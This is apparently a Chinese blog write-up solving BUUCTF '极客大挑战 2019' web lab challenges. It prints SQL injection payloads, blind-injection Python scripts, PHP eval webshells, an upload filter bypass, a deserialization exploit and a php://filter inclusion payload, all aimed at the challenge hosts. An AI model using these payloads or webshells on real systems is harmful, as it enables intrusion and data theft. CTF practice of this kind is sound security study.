SQL部分:

[极客大挑战 2019]BabySQL

打开环境后有登录界面◕‿◕

一眼注入,后先试试万能密码:

username:admin' or '1'='1
password:1

GG,出大问题,我就会这一招啊O.o??完结撒花(不是

꒰ঌ( ⌯' '⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不行,那咱继续注入哈:

尝试输入下正常的union select等语句发现都被过滤了,那接下来把他们都双写看一下:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到情况是不报错,是列数不对啊

那就使用二分法一个一个排查,发现列数是3的时候就对了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

后边就简单了,直接附代码了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
#列出所有库

看到了ctf库进去:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23

直接拿数据就好了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

得到Flag:

flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}

[极客大挑战 2019]EasySQL

看到第二题,发现界面没变,还长这样

话不多说,万能密码尝试一下:

username:1
passwd:admin' or '1'='1

啊?直接出?好吧,看来是练手的:

flag{ef920bf4-ed7f-419b-af87-409fa306319a}

[极客大挑战 2019]HardSQL

好,出题人不知悔改,那就让他终身难忘(doge

同样的万能密码起手,能简单来我们就不展开做o.O

username:admin' or '1'=1'
passwd:1

好小子,那我可要进去了!

admin
1' order by 3#

?还是这样是吧,那就bp看狙击手模式下你给我过滤了多少字段!

fuzz完发现空格 ,注释符,and,by,=,sleep,/,~等都被过滤了,行,那就进入报错注入环节:

使用()代替空格,使用like代替=,使用^连接函数形成异或

查了其他数据库最后锁定在geek里边

先查表:

admin'or(updatexml(1,concat(0x7e,database()),1))#

好小子,漏出马脚了吧,那接下来爆表名:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

继续:

admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23

出敏感字段,结束了,胜负已分( ´◔︎ ‸◔︎`)

admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#

但是只出来左半边?那好说了,左右分开就好了:

admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

flag{de3015f5-b395-4395-86c8-cf2ddf32e801}

[极客大挑战 2019]LoveSQL

ok看看这个家伙还会来什么

先输入万能密码:

用户名:1' or 1=1#
密码:123(随便输)

爆出了一些字段,接下来我们试一下联合注入,二分法先确认是3个字段:

/check.php?username=1' union select 1,2,3%23&password=1

得到回显位置为2、3,查一下版本号:

/check.php?username=1' union select 1,database(),version()%23&password=1

得到关键信息geek为数据名称,接下来就可以常规步骤了:

爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

爆数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag:

flag{c76c8911-1aa0-494f-bd2d-1d7356abef1f}

[极客大挑战 2019]FinalSQL

最后一个了,小小出题人又会干嘛呢?0.0

ok,又是一堆乱七八糟的,挨个点击以后发现在第五个里边说有个id=6

那就修改下id=6:

.

这么一看方向是对的,那接下来分析一下:

测试这个地方是否存在注入,结果发现他有过滤,过滤了空格、星号等特殊符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等结果正常显示,而输入3-1则显示“2”的页面)

这样的话,要二分法盲注了,这里给大家直接脚本了,一个大牛的,一个我的:

脚本1:

# -*- coding: utf-8 -*-

import re
import requests
import string
import time url = "#url+id="
flag = '' def payload(i, j):
# 数据库名字
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查询flag
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
#print (f)
flag += chr(f)
print(flag)
time.sleep(0.5) exp()
print('flag=', flag)

脚本2:

import requests
url = "http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
# 查数据库
# database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# 查表
# tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
# columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
print(chr(mid))
# 根据需要查询的内容改变get中的参数
r = requests.get(url=url+data)
# print(url+database)
# print(payload1)
# print(r.raw)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)

切记!不要为了速度把sleep删了!!!!!网页会响应不过来!

得到flag:

flag{4184bf22-51f1-4f03-a6f1-53f1734a5fb6}

其他web部分:

[极客大挑战 2019]BuyFlag

开启环境以后大眼看了下界面,点击payflag后发现了新界面!

可以看到要求:

1.你要是cuit里边的学生

2.你必须有正确的password

打开F12源码查看器确认下信息,有这么一串东西:


~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

1.可以得到post是传参方式,如果password=404为真,就绕过,后边有is_numeric()函数,同时为了绕过这个,就必须有字母,所以我们选择输入404x

打开hackbar,这样子传一下:

发现没变化,那就抓包看一下吧:

这时注意到,Cookie有个扎眼的user=0,改成1试试:

ok,可以看到提示变了,他说我们前两项都对了,但是必须付钱,那我们再机灵点,直接post money好了,改成他想要的:

password=404x&&money=100000000

放包以后看一下结果:

结果又过长了,我给改短也试了试,他说你钱不够,嘲讽你是loser~

这就难办了,加也不是,减也不是,很束手无措,估计这题难点就在这里了,我尝试找了下版本号:

5.3.3版本下我记得可以用函数strcmp()对数字进行绕过,那就改造一下:

password=404x&&money[]=1000

Get!!!!!!!!!!拿下!!!!!!!

flag{b97e8597-44d5-4127-809e-c6aa087564b4}

[极客大挑战 2019]Havefun

打开去撸猫:

撸了十分钟才想起要做题嗯~ o(* ̄▽ ̄*)o..,那就打开下F12:

有个源码提示:

        $cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

这样话直接get吧,cat=dog也没别的做的了=.=

直接拿了,撸猫撸的很开心!)╭ ( ̄︶ ̄)ψ

flag{21ffc3d1-4900-4c00-a8d8-dd2c32d7e6a4} 

[极客大挑战 2019]Knife

基础方法:

打开环境给了个一句话木马,说实话有点懵逼O.O!

那就直接蚁剑链接一下试试吧:

直接连接成功了?O.O

那直接打指令找一下吧:

cat /flag

出了,写到这里我总感觉那里不对,不应该这么简单,就琢磨了下,但是没想到好办法,这时候看到了两篇博客,是两位佬的其他思路:士别三日wyxSenimo_的这里我会讲解我理解下的内容,如果有兴趣的师傅建议去原文看一下,其中我真的很喜欢士别三日博客的一句话,真的建议每一位Ctfer记住!

进阶方法一(@士别三日wyx):

首先回到这个初始界面

我们看到一句话木马,一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!

打开hackbar执行:

Syc=phpinfo();

可以直接进入展示PHP信息界面:

这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:

我们使用var_dump()+scandir()查看一下根目录:

Syc=var_dump(scandir('/'));

执行完以后看似没啥变化,这只是因为背景颜色遮挡了修改,ctrl+u进入源码界面:

可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!

那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:

Syc=var_dump(file_get_contents('/flag'));

这个时候在打开ctrl+u就得到了flag:

说实话,这个方法并不是什么很新奇或者很出乎意料的东西,但是贵就贵在守住了最原始的破解方式,让现在很多ctfer从只依赖脚本不去看基础知识的思维里跳出来,很难能可贵,借用大佬的话就是:

喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。

进阶方法二(@Senimo_):

方法三、进阶方法二是使用脚本(当然是自己手搓的):一句话木马的原理刚才说过了,这里不再提,尝试用python连接一下可以这么理解:

连接一句木马并使用SHELL,需要将一句话木马作为POST传值的参数,将PHP语句作为值传入,并通过PHP语句执行SHELL命令。

我们剖析一下菜刀的原理,先看下菜刀发送的数据包:

op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack
base64_decode()函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:

@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();

首先进行测试:

可以得到预设的回显,这样的话就直接搬运脚本:

# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife import requests
import re class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1 # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = '' def url_test(self):
# 可以重复输错10次链接
for i in range(9):
try:
# 对输入的url做判断
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 尝试访问链接是否为200
requests.get(self.url)
print('测试状态: 200 ' + self.url)
except:
print('无效链接!请重新输入!')
self.url = input('请输入题目链接:')
self.status_code = 0 else:
self.status_code = 1
break if self.status_code == 0:
print('无效链接!退出程序!')
return def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data) # 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group() except:
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break def run(self):
self.url_test() # 连接测试
self.num_test() # flag获取 if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!') return self.flag if __name__ == '__main__':
print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
url_input = input('请输入题目链接:')
print(Knife(url_input).run())
input() # 防止退出cmd

运行同样得到flag:

flag{732832c3-cca5-4852-803d-3cf15e43f364}

作者随笔:

这道简单的题目之所以要花这么长篇幅去写,更多是因为做题的时候看到

了那段大佬写的话,认为在学ctf的时候更多要知道自己是为什么才进入了

这个领域,赚一些什么固然很重要但是初心不忘更加难能可贵,想起来以

前看奥特曼的一句话:热忱之心不可变,不能走着走着忘了为什么才开

始。。。。

[极客大挑战 2019]PHP

打开环境以后发现又可以逗猫,就偷偷玩了一小会儿。。。。好了!进入正题!

题目中明显说有备份文件,那就盲猜www.zip:

ok,有东西,如果实在猜不到就dirseach扫描一下好了,打开源码包:

class.php

<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

index.js

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

index.php

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body> <div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>

style.css

@import url(https://fonts.googleapis.com/css?family=Open+Sans:800);

#world{
position: absolute;
width:100%;
height: 100%;
background-color: #6ecccc;
overflow:hidden;
} #credits{
position:absolute;
width:100%;
margin: auto;
bottom:0;
margin-bottom:20px;
font-family:'Open Sans', sans-serif;
color:#328685;
font-size:0.7em;
text-transform: uppercase;
text-align : center;
}
#credits a {
color:#328685;
} #credits a:hover {
color:#630d15;
}

审计完构造出链子:

EXP:

<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

执行出来后得到:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

当然当然,众所周知,有个__wakeup永远没法安生,把2改成3。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

hackbar输入以后得到flag:

flag{75405f3e-bc9f-4d56-ac1a-a5157f22d9c4}

[极客大挑战 2019]Secret File

打开环境以后看到了不得了的东西呢=.=

打开F12看一下源码发现/Archive_room.php

直接访问!

接下来点开以后直接进入了/end.php

这就让我很奇怪了,为什么什么都没,又翻了下源码发现有个/action.php

跳转一下试一试

怎么又跳回去了?我确实没看清。。。。。

这样的话我明白逻辑了:/Archive_room.php/action.php/end.php只不过中间的过程跳转时间很快,那这样的话就做一下bp好了,打开bp:

这个界面跳转一下,然后抓到了这样的包:

发出去以后发现了这个界面,有/secr3t.php

访问进去:

GET /secr3t.php HTTP/1.1

看到了有php代码,源码放下边:

<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

其实就是构造一个伪协议:

Payload:

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

出来了base64密码,解码就好了:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MmVmOWMwM2MtZjJhMC00NDZiLWEzM2YtOTFhNTllZWViOWRifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

这里送师傅们个拙作,py的base64本地解码手搓代码:

import base64  

def base64_decoder(encoded_string):
try:
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
except Exception as e:
return f"解码失败: {e}" # 示例用法
encoded_string = "" # 这是的Base64编码
decoded_string = base64_decoder(encoded_string)
print(decoded_string)

可以本地跑,省赛有时候用的是专用ip,不让查的=.=

[极客大挑战 2019]Upload

映入眼帘文件上传,行吧,先随便传点什么:

ok,经典图片上传,先把bp打开,肯定用得到,先手搓一个一句话木马:

<?php @eval($_POST['attack']);?>

oh,有检索过滤,那就难办了,我不会,完结撒。。。。。花个棒子,可以解决,先随便上传一个文件,抓包抓住,挨个试:

php过滤了

php3过滤了

不一个一个试了,最后实验到了phtml

因为我文件里没写内容,但是呢他的回显不一样了呢,那就用gif绕过好了:

GIF89a? <script language="php">eval($_REQUEST[1])</script>

(补充一下绕过后缀的有文件格式有phtml,pht,php,php3,php4,php5)

氢氢又怂怂(u‿ฺu✿),好了检查get头是什么直接蚁剑连接:

url:http://f9e62125-dcd4-4eef-8575-1337cfed47a9.node5.buuoj.cn:81/upload/1.phtml
passwd:1

欧克,连接就好了终端cat /flag

cat /flag

得到flag:

flag{c93d17b8-5074-4421-8420-352cd9a47bae}

暂时完结撒花!!!RCE我还没学太懂怕误导大家,就不写了,以后学会了后边会补充!下篇博客再会啦,没看懂的师傅欢迎私信我哦!!

[极客大挑战 2019]web部分题解(已完结!)的更多相关文章

  1. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  2. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  3. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  4. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  5. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  6. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  7. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  8. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  9. [极客大挑战 2019]PHP 1

    进入后提示我们网页有备份文件,这边使用爆破工具,网页会down掉 随便随便猜了一下www.zip,成功下载源码 常见的网页备份有 .git ~ .swp .swo .bak .zip 还不知道是什么题 ...

  10. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

随机推荐

  1. Java-统计程序运行的时长(计算两个时间相差的毫秒数、秒数)

    最近在做Hbase的查询性能验证,需要统计查询的执行时长,所以需要统计开始时间和结束时间的时间差. 下面是使用SimpleDateFormat和Date计算时间差(相差毫秒数)的程序示例,仅供参考. ...

  2. MySQL案例-并行复制乱序提交引起的同步异常

    现象描述 Slave在开启并行复制后, 默认会乱序提交事务, 可能会引起同步中断; Slave端表现为同步的SQL线程抛出异常, 为主键重复, 修改的数据行不存在等; GTID信息类似于: 9a2a5 ...

  3. 硬件开发笔记(十五):RK3568底板电路VGA显示接口原理图分析

    前言   前面输出了HDMI,LVDS,MIPI-DSI,这里还有一个常用的显示接口就是VGA了,这个用的不多了,一般板子都是hdmi了.  本篇分析底板VGA电路.   VGA接口   VGA(Vi ...

  4. 案例分享:某品牌音响系列协议调试工具(搜寻主机,查询通道,基本控制API,云音乐API,语言节目API等,可增删改指令)

    需求   某音响品牌需要一套完整的协议调试工具,提供给研发人员,渠道商,客户,现场人员等使用:  1.使用sqlite3数据库存储协议,  2.搜寻主机,操作主机:  3.探测云端API,调试API: ...

  5. 三分钟数据持久化:Spring Boot, JPA 与 SQLite 的完美融合

    三分钟,迎接一个更加高效和简便的开发体验. 在快节奏的软件开发领域,每一个简化工作流程的机会都不容错过.想要一个无需繁琐配置.能够迅速启动的数据持久化方案吗?这篇文章将是你的首选攻略.在这里,我们将向 ...

  6. 【Azure 应用服务】App Servie网站报403 ModSecurity Action错误

    问题描述 App Service 部署应用程序,然后通过App Gateway(WAF) 提供公网访问,但是一直遇见403报错,刷新页面,回退,重新Web页面能缓解403问题. 问题分析 通过浏览器F ...

  7. 【Azure 云服务】Cloud Service Worker Role Workerrole突然停机,查看Events发现 Defrag Error (0x8900002D)

    问题描述 Cloud Service Worker Role Workerrole突然停机,查看Events,发现是错误源为 Defrag. 错误消息: The volume Windows was ...

  8. 【Azure 应用服务】Azure App Service 在不配置自定义域名的情况下如何使用呢?

    问题描述 根据中国法律法规的规定及相关监管机构的要求,当使用应用服务创建应用时,须立即绑定一个已经完成ICP备案的自定义域名并通过该自定义域名访问该应用服务.任何通过Internet对应用服务默认域名 ...

  9. mysql-编写脚本-批量插入数据

    一.代码 -- 报工设置,添加数据 set @org_id = '租户id'; set @created_user = 'yike'; set @updated_user = 'yike'; set ...

  10. 有n步台阶,一次只能上1步或2步,共有多少种走法

    循环迭代:   1 public class steps { 2 public int js(int n) { 3 int one = 2; //初始化为第三级台阶最后跨一步的走法 4 int two ...